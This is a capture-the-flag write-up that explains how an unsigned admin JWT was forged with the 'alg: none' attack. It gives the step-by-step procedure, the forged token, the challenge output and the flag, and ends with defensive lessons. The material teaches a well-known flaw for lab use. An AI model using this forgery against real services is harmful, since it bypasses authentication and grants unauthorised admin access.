Home > Writeups > WHAMazon! JWT 2 - Forge

WHAMazon! JWT 2 - Forge

Exploiting the JWT 'none' algorithm vulnerability to forge an unsigned admin token without knowing the signing secret.

Forge

Challenge Description

Forge the token and take the bots ☣︎

Flag: Raptor{4lg_n0n3_15_n0t_4_f34tur3}


The Setup

This time there's no option to retrieve the signing key, unlike JWT 1, we can't just ask for it. Two options only: get a token, or submit one.

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsICJuYW1lIjogIkJPT00iLCAiYWRtaW4iOiBmYWxzZSwgImlhdCI6IDE1MTYyMzkwMjJ9.aW52YWxpZA

Decoding the payload: "admin": false, algorithm HS256. We don't have the secret this time, so we can't re-sign a forged token legitimately. But we don't need to.


The None Algorithm Attack

The JWT specification includes "alg": "none", a valid algorithm value meaning the token is unsigned and should be accepted without signature verification. It exists for use cases where token integrity is guaranteed by other means (like a TLS-only internal channel). In practice, any server that accepts "alg": "none" from client-supplied tokens will accept an entirely unsigned, freely modifiable payload with no secret required.

Steps:

  1. In jwt.io, set the payload to "admin": true and sign with a dummy secret (anything, aaaa... works)
  2. Take the resulting token and modify the header to {"alg": "none", "typ": "JWT"}
  3. Re-encode the header as base64url, swap it into the token
  4. Strip the signature entirely, the token format is header.payload.signature, so the final token ends with a trailing dot and nothing after it

The forged token:

eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkJPT00iLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNTE2MjM5MDIyfQ.

Note the trailing dot with nothing after it, that's the empty signature field.


Exploitation

Select an option > 2
[paste token]

 ADMIN ACCESS GRANTED

The server accepted the unsigned token. Turned off system validation, then released the workers:

Select an option > 1
🔄 Validate System set to OFF

Select an option > 2
🚪 Workers Released
Raptor{4lg_n0n3_15_n0t_4_f34tur3}

JWT 1 vs JWT 2

JWT 1 JWT 2
Attack Known-key forgery None algorithm
Key needed? Yes (provided) No
Signature Valid HMAC-SHA256 Absent
Server flaw Exposed signing key Accepts unsigned tokens

Both result in a forged admin token, the paths just differ based on what the server exposes.


Key Takeaways

JWT libraries should never accept "alg": "none" for tokens arriving from untrusted sources. The algorithm used to verify a token should be determined server-side from configuration, not read from the token's own header, otherwise any client can simply declare their token unsigned and bypass verification entirely.

This is such a well-known vulnerability that most modern JWT libraries have disabled none support by default, but it still shows up in older implementations and misconfigured systems. When a JWT challenge doesn't give you the signing key, none algorithm is always worth trying before anything more complex.